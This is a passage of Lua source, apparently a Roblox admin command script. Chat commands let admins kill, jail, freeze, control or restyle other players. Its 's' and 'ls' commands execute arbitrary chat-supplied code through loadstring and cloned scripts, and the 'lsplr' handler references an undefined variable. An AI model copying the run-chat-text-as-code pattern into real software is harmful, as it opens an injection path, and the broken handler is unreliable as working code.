local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
465
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
466
else loadstring(msg:sub(3))()
467
end
468
end))
469
end
470
471
if msg:lower():sub(1,3) == "ls " then
472
coroutine.resume(coroutine.create(function()
473
if script:findFirstChild("LocalScriptBase") then
474
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
475
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
476
end
477
end))
478
end
479
480
if msg:lower():sub(1,6) == "lsplr " then
481
local chk1 = msg:lower():sub(7):find(" ") + 6
482
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
483
for i, v in pairs(plrz) do
484
coroutine.resume(coroutine.create(function()
485
if v and v:findFirstChild("PlayerGui") then
486
if script:findFirstChild("LocalScriptBase") then
487
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
488
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
489
end
490
end
491
end))
492
end
493
end
494
495
if msg:lower():sub(1,4) == "ins " then
496
coroutine.resume(coroutine.create(function()
497
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
498
if obj and #obj:children() >= 1 and plr.Character then
499
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
500
end
501
end))
502
end
503
504
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
505
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
506
RemoveMessage()
507
objects = {}
508
end
509
510
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
511
game.Lighting.Ambient = origsettings.abt
512
game.Lighting.Brightness = origsettings.brt
513
game.Lighting.TimeOfDay = origsettings.time
514
game.Lighting.FogColor = origsettings.fclr
515
game.Lighting.FogEnd = origsettings.fe
516
game.Lighting.FogStart = origsettings.fs
517
for i, v in pairs(lobjs) do v:Destroy() end
518
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
519
end
520
521
if msg:lower() == "xd" or msg:lower() == "cmdgui" then
522
coroutine.resume(coroutine.create(function()
523
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
524
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
525
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
526
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
527
end))
528
end
529
530
if msg:lower():sub(1,10) == "countdown " then
531
local num = math.min(tonumber(msg:sub(11)),120)
532
for i = num, 1, -1 do
533
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
534
wait(1)
535
end
536
end
537
538
if msg:lower():sub(1,3) == "tm " then
539
local chk1 = msg:lower():sub(4):find(" ") + 3
540
local num = tonumber(msg:sub(4,chk1-1))
541
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
542
end
543
544
if msg:lower():sub(1,2) == "m " then
545
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
546
end
547
548
if msg:lower():sub(1,2) == "h " then
549
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
550
end
551
552
if msg:lower():sub(1,3) == "pm " then
553
local chk1 = msg:lower():sub(4):find(" ") + 3
554
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
555
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
556
end
557
558
if msg:lower():sub(1,11) == "resetstats " then
559
local plrz = GetPlr(plr, msg:lower():sub(12))
560
for i, v in pairs(plrz) do
561
coroutine.resume(coroutine.create(function()
562
if v and v:findFirstChild("leaderstats") then
563
for a, q in pairs(v.leaderstats:children()) do
564
if q:IsA("IntValue") then q.Value = 0 end
565
end
566
end
567
end))
568
end
569
end
570
571
if msg:lower():sub(1,5) == "gear " then
572
local chk1 = msg:lower():sub(6):find(" ") + 5
573
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
574
for i, v in pairs(plrz) do
575
coroutine.resume(coroutine.create(function()
576
if v and v:findFirstChild("Backpack") then
577
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
578
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
579
obj:Destroy()
580
end
581
end))
582
end
583
end
584
585
if msg:lower():sub(1,4) == "hat " then
586
local chk1 = msg:lower():sub(5):find(" ") + 4
587
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
588
for i, v in pairs(plrz) do
589
coroutine.resume(coroutine.create(function()
590
if v and v.Character then
591
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
592
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
593
obj:Destroy()
594
end
595
end))
596
end
597
end
598
599
if msg:lower():sub(1,5) == "cape " then
600
local chk1 = msg:lower():sub(6):find(" ")
601
local plrz = GetPlr(plr, msg:lower():sub(6))
602
local str = "torso.BrickColor"
603
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
604
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
605
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
606
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
607
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
608
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
609
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
610
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
611
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
612
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
613
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
614
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
615
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
616
if BrickColor.new(teststr) ~= nil then str = teststr end
617
end
618
for i, v in pairs(plrz) do
619
coroutine.resume(coroutine.create(function()
620
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
621
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
622
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
623
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
624
local torso = plr.Character.Torso
625
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
626
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
627
p.Size = Vector3.new(.2,.2,.2)
628
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
629
local motor1 = Instance.new("Motor", p)
630
motor1.Part0 = p
631
motor1.Part1 = torso
632
motor1.MaxVelocity = .01
633
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
634
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
635
local wave = false
636
repeat wait(1/44)
637
local ang = 0.1
638
local oldmag = torso.Velocity.magnitude
639
local mv = .002
640
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
641
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
642
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
643
motor1.DesiredAngle = -ang
644
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
645
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
646
if torso.Velocity.magnitude < .1 then wait(.1) end
647
until not p or p.Parent ~= torso.Parent
648
script:Destroy()
649
]] cl.Parent = v.PlayerGui cl.Disabled = false
650
end
651
end))
652
end
653
end
654
655
if msg:lower():sub(1,7) == "uncape " then
656
local plrz = GetPlr(plr, msg:lower():sub(8))
657
for i, v in pairs(plrz) do
658
coroutine.resume(coroutine.create(function()
659
if v and v:findFirstChild("PlayerGui") and v.Character then
660
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
661
end
662
end))
663
end
664
end
665
666
if msg:lower():sub(1,7) == "noclip " then
667
local plrz = GetPlr(plr, msg:lower():sub(8))
668
for i, v in pairs(plrz) do
669
coroutine.resume(coroutine.create(function()
670
if v and v:findFirstChild("PlayerGui") then
671
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
672
cl.Parent = v.PlayerGui cl.Disabled = false
673
end
674
end))
675
end
676
end
677
678
if msg:lower():sub(1,5) == "clip " then
679
local plrz = GetPlr(plr, msg:lower():sub(6))
680
for i, v in pairs(plrz) do
681
coroutine.resume(coroutine.create(function()
682
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
683
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
684
v.Character.Torso.Anchored = false
685
wait(.1) v.Character.Humanoid.PlatformStand = false
686
end
687
end))
688
end
689
end
690
691
if msg:lower():sub(1,5) == "jail " then
692
local plrz = GetPlr(plr, msg:lower():sub(6))
693
for i, v in pairs(plrz) do
694
coroutine.resume(coroutine.create(function()
695
if v and v.Character and v.Character:findFirstChild("Torso") then 
696
local vname = v.Name
697
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
698
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
699
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
700
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
701
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
702
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
703
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
704
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
705
end)
706
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
707
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
708
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
709
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
710
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
711
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
712
local msh2 = msh:Clone() msh2.Parent = back
713
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
714
local msh4 = msh3:Clone() msh4.Parent = left
715
v.Character.Torso.CFrame = cf
716
end
717
end))
718
end
719
end
720
721
if msg:lower():sub(1,7) == "unjail " then
722
local plrz = GetPlr(plr, msg:lower():sub(8))
723
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
724
end
725
726
if msg:lower():sub(1,11) == "starttools " then
727
local plrz = GetPlr(plr, msg:lower():sub(12))
728
for i, v in pairs(plrz) do
729
coroutine.resume(coroutine.create(function()
730
if v and v:findFirstChild("Backpack") then
731
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
732
end
733
end))
734
end
735
end
736
737
if msg:lower():sub(1,6) == "sword " then
738
local plrz = GetPlr(plr, msg:lower():sub(7))
739
for i, v in pairs(plrz) do
740
coroutine.resume(coroutine.create(function()
741
if v and v:findFirstChild("Backpack") then
742
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
743
sword.GripForward = Vector3.new(-1,0,0)
744
sword.GripPos = Vector3.new(0,0,-1.5)
745
sword.GripRight = Vector3.new(0,1,0)
746
sword.GripUp = Vector3.new(0,0,1)
747
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
748
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
749
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
750
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
751
local Damage = 15
752
local SlashSound = Instance.new("Sound", script.Parent.Handle)
753
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
754
SlashSound.Volume = 1
755
local LungeSound = Instance.new("Sound", script.Parent.Handle)
756
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
757
LungeSound.Volume = 1
758
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
759
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
760
UnsheathSound.Volume = 1
761
local last = 0
762
script.Parent.Handle.Touched:connect(function(hit)
763
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
764
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
765
hit.Parent.Humanoid:TakeDamage(Damage)
766
end
767
end)
768
script.Parent.Activated:connect(function()
769
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
770
script.Parent.Enabled = false
771
local tick = game:service("RunService").Stepped:wait()
772
if tick - last <= .2 then
773
LungeSound:play()
774
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
775
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
776
wait(.2)
777
script.Parent.GripForward = Vector3.new(0,0,1)
778
script.Parent.GripRight = Vector3.new(0,-1,0)
779
script.Parent.GripUp = Vector3.new(-1,0,0)
780
wait(.3)
781
frc:Destroy() wait(.5)
782
script.Parent.GripForward = Vector3.new(-1,0,0)
783
script.Parent.GripRight = Vector3.new(0,1,0)
784
script.Parent.GripUp = Vector3.new(0,0,1)
785
else
786
SlashSound:play()
787
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
788
end
789
last = tick
790
script.Parent.Enabled = true
791
end)
792
script.Parent.Equipped:connect(function(mouse)
793
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
794
UnsheathSound:play()
795
script.Parent.Enabled = true
796
if not mouse then return end
797
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
798
end)]] cl.Disabled = false 
799
end
800
end))
801
end
802
end
803
804
if msg:lower():sub(1,6) == "clone " then
805
local plrz = GetPlr(plr, msg:lower():sub(7))
806
for i, v in pairs(plrz) do
807
coroutine.resume(coroutine.create(function()
808
if v and v.Character then 
809
v.Character.Archivable = true 
810
local cl = v.Character:Clone() 
811
table.insert(objects,cl) 
812
cl.Parent = game.Workspace 
813
cl:MoveTo(v.Character:GetModelCFrame().p)
814
cl:MakeJoints()
815
v.Character.Archivable = false 
816
end
817
end))
818
end
819
end
820
821
if msg:lower():sub(1,8) == "control " then
822
local plrz = GetPlr(plr, msg:lower():sub(9))
823
for i, v in pairs(plrz) do
824
coroutine.resume(coroutine.create(function()
825
if v and v.Character then
826
v.Character.Humanoid.PlatformStand = true
827
local w = Instance.new("Weld", plr.Character.Torso ) 
828
w.Part0 = plr.Character.Torso 
829
w.Part1 = v.Character.Torso  
830
local w2 = Instance.new("Weld", plr.Character.Head) 
831
w2.Part0 = plr.Character.Head 
832
w2.Part1 = v.Character.Head  
833
local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) 
834
w3.Part0 = plr.Character:findFirstChild("Right Arm")
835
w3.Part1 = v.Character:findFirstChild("Right Arm") 
836
local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
837
w4.Part0 = plr.Character:findFirstChild("Left Arm")
838
w4.Part1 = v.Character:findFirstChild("Left Arm") 
839
local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) 
840
w5.Part0 = plr.Character:findFirstChild("Right Leg")
841
w5.Part1 = v.Character:findFirstChild("Right Leg") 
842
local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) 
843
w6.Part0 = plr.Character:findFirstChild("Left Leg")
844
w6.Part1 = v.Character:findFirstChild("Left Leg") 
845
plr.Character.Head.face:Destroy()
846
for i, p in pairs(v.Character:children()) do
847
if p:IsA("BasePart") then 
848
p.CanCollide = false
849
end
850
end
851
for i, p in pairs(plr.Character:children()) do
852
if p:IsA("BasePart") then 
853
p.Transparency = 1 
854
elseif p:IsA("Hat") then
855
p:Destroy()
856
end
857
end
858
v.Character.Parent = plr.Character
859
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
860
end
861
end))
862
end
863
end
864
865
if msg:lower():sub(1,5) == "kill " then
866
local plrz = GetPlr(plr, msg:lower():sub(6))
867
for i, v in pairs(plrz) do
868
coroutine.resume(coroutine.create(function()
869
if v and v.Character then v.Character:BreakJoints() end
870
end))
871
end
872
end
873
874
if msg:lower():sub(1,8) == "respawn " then
875
local plrz = GetPlr(plr, msg:lower():sub(9))
876
for i, v in pairs(plrz) do
877
coroutine.resume(coroutine.create(function()
878
if v and v.Character then v:LoadCharacter() end
879
end))
880
end
881
end
882
883
if msg:lower():sub(1,5) == "trip " then
884
local plrz = GetPlr(plr, msg:lower():sub(6))
885
for i, v in pairs(plrz) do
886
coroutine.resume(coroutine.create(function()
887
if v and v.Character and v.Character:findFirstChild("Torso") then 
888
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
889
end
890
end))
891
end
892
end
893
894
if msg:lower():sub(1,5) == "stun " then
895
local plrz = GetPlr(plr, msg:lower():sub(6))
896
for i, v in pairs(plrz) do
897
coroutine.resume(coroutine.create(function()
898
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
899
v.Character.Humanoid.PlatformStand = true
900
end
901
end))
902
end
903
end
904
905
if msg:lower():sub(1,7) == "unstun " then
906
local plrz = GetPlr(plr, msg:lower():sub(8))
907
for i, v in pairs(plrz) do
908
coroutine.resume(coroutine.create(function()
909
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
910
v.Character.Humanoid.PlatformStand = false
911
end
912
end))
913
end
914
end
915
916
if msg:lower():sub(1,5) == "jump " then
917
local plrz = GetPlr(plr, msg:lower():sub(6))
918
for i, v in pairs(plrz) do
919
coroutine.resume(coroutine.create(function()
920
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
921
v.Character.Humanoid.Jump = true
922
end
923
end))
924
end
925
end
926
927
if msg:lower():sub(1,4) == "sit " then
928
local plrz = GetPlr(plr, msg:lower():sub(5))
929
for i, v in pairs(plrz) do
930
coroutine.resume(coroutine.create(function()
931
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
932
v.Character.Humanoid.Sit = true
933
end
934
end))
935
end
936
end
937
938
if msg:lower():sub(1,10) == "invisible " then
939
local plrz = GetPlr(plr, msg:lower():sub(11))
940
for i, v in pairs(plrz) do
941
coroutine.resume(coroutine.create(function()
942
if v and v.Character then 
943
for a, obj in pairs(v.Character:children()) do 
944
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
945
end
946
end
947
end))
948
end
949
end
950
951
if msg:lower():sub(1,8) == "visible " then
952
local plrz = GetPlr(plr, msg:lower():sub(9))
953
for i, v in pairs(plrz) do
954
coroutine.resume(coroutine.create(function()
955
if v and v.Character then 
956
for a, obj in pairs(v.Character:children()) do 
957
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
958
end
959
end
960
end))
961
end
962
end
963
964
if msg:lower():sub(1,5) == "lock " then
965
local plrz = GetPlr(plr, msg:lower():sub(6))
966
for i, v in pairs(plrz) do
967
coroutine.resume(coroutine.create(function()
968
if v and v.Character then 
969
for a, obj in pairs(v.Character:children()) do 
970
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
971
end
972
end
973
end))
974
end
975
end
976
977
if msg:lower():sub(1,7) == "unlock " then
978
local plrz = GetPlr(plr, msg:lower():sub(8))
979
for i, v in pairs(plrz) do
980
coroutine.resume(coroutine.create(function()
981
if v and v.Character then 
982
for a, obj in pairs(v.Character:children()) do 
983
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
984
end
985
end
986
end))
987
end
988
end
989
990
if msg:lower():sub(1,8) == "explode " then
991
local plrz = GetPlr(plr, msg:lower():sub(9))
992
for i, v in pairs(plrz) do
993
coroutine.resume(coroutine.create(function()
994
if v and v.Character and v.Character:findFirstChild("Torso") then 
995
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
996
end
997
end))
998
end
999
end
1000
1001
if msg:lower():sub(1,4) == "age " then
1002
local plrz = GetPlr(plr, msg:lower():sub(5))
1003
for i, v in pairs(plrz) do
1004
coroutine.resume(coroutine.create(function()
1005
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
1006
end))
1007
end
1008
end
1009
1010
if msg:lower():sub(1,5) == "fire " then
1011
local plrz = GetPlr(plr, msg:lower():sub(6))
1012
for i, v in pairs(plrz) do
1013
coroutine.resume(coroutine.create(function()
1014
if v and v.Character and v.Character:findFirstChild("Torso") then 
1015
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
1016
end
1017
end))
1018
end
1019
end
1020
1021
if msg:lower():sub(1,7) == "unfire " then
1022
local plrz = GetPlr(plr, msg:lower():sub(8))
1023
for i, v in pairs(plrz) do
1024
coroutine.resume(coroutine.create(function()
1025
if v and v.Character and v.Character:findFirstChild("Torso") then 
1026
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
1027
end
1028
end))
1029
end
1030
end
1031
1032
if msg:lower():sub(1,6) == "smoke " then
1033
local plrz = GetPlr(plr, msg:lower():sub(7))
1034
for i, v in pairs(plrz) do
1035
coroutine.resume(coroutine.create(function()
1036
if v and v.Character and v.Character:findFirstChild("Torso") then 
1037
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
1038
end
1039
end))
1040
end
1041
end
1042
1043
if msg:lower():sub(1,8) == "unsmoke " then
1044
local plrz = GetPlr(plr, msg:lower():sub(9))
1045
for i, v in pairs(plrz) do
1046
coroutine.resume(coroutine.create(function()
1047
if v and v.Character and v.Character:findFirstChild("Torso") then 
1048
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
1049
end
1050
end))
1051
end
1052
end
1053
1054
if msg:lower():sub(1,9) == "sparkles " then
1055
local plrz = GetPlr(plr, msg:lower():sub(10))
1056
for i, v in pairs(plrz) do
1057
coroutine.resume(coroutine.create(function()
1058
if v and v.Character and v.Character:findFirstChild("Torso") then 
1059
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
1060
end
1061
end))
1062
end
1063
end
1064
1065
if msg:lower():sub(1,11) == "unsparkles " then
1066
local plrz = GetPlr(plr, msg:lower():sub(12))
1067
for i, v in pairs(plrz) do
1068
coroutine.resume(coroutine.create(function()
1069
if v and v.Character and v.Character:findFirstChild("Torso") then 
1070
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
1071
end
1072
end))
1073
end
1074
end
1075
1076
if msg:lower():sub(1,3) == "ff " then
1077
local plrz = GetPlr(plr, msg:lower():sub(4))
1078
for i, v in pairs(plrz) do
1079
coroutine.resume(coroutine.create(function()
1080
if v and v.Character then Instance.new("ForceField", v.Character) end
1081
end))
1082
end
1083
end
1084
1085
if msg:lower():sub(1,5) == "unff " then
1086
local plrz = GetPlr(plr, msg:lower():sub(6))
1087
for i, v in pairs(plrz) do
1088
coroutine.resume(coroutine.create(function()
1089
if v and v.Character then 
1090
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
1091
end
1092
end))
1093
end
1094
end
1095
1096
if msg:lower():sub(1,7) == "punish " then
1097
local plrz = GetPlr(plr, msg:lower():sub(8))
1098
for i, v in pairs(plrz) do
1099
coroutine.resume(coroutine.create(function()
1100
if v and v.Character then 
1101
v.Character.Parent = game:service("Lighting")
1102
end
1103
end))
1104
end
1105
end
1106
1107
if msg:lower():sub(1,9) == "unpunish " then
1108
local plrz = GetPlr(plr, msg:lower():sub(10))
1109
for i, v in pairs(plrz) do
1110
coroutine.resume(coroutine.create(function()
1111
if v and v.Character then 
1112
v.Character.Parent = game:service("Workspace")
1113
v.Character:MakeJoints()
1114
end
1115
end))
1116
end
1117
end
1118
1119
if msg:lower():sub(1,7) == "freeze " then
1120
local plrz = GetPlr(plr, msg:lower():sub(8))
1121
for i, v in pairs(plrz) do
1122
coroutine.resume(coroutine.create(function()
1123
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1124
for a, obj in pairs(v.Character:children()) do 
1125
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1126
end
1127
end
1128
end))
1129
end
1130
end
1131
1132
